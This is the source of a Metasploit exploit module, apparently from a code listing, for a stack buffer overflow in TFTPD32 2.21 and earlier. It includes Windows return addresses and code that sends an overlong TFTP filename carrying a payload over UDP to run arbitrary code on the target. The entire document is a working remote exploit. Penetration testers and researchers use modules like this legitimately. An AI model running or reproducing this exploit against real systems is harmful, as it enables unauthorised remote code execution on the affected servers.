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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | ## # $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system. }, 'Author' => 'MC', 'Version'=> '$Revision: 10394 $', 'References' => [ ['CVE', '2002-2226'], ['OSVDB', '45903'], ['BID', '6199'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 250, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['Windows NT 4.0 SP6a English',{ 'Ret' => 0x77f9d463} ], ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ], ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ], ['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ], ], 'Privileged' => true, 'DisclosureDate' => 'Nov 19 2002' )) register_options( [ Opt::RPORT(69) ], self) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit = "\x00\x01" + rand_text_english(120, payload_badchars) + "." + rand_text_english(135, payload_badchars) + [target.ret].pack('V') + payload.encoded + "\x00" udp_sock.put(sploit) disconnect_udp end end |
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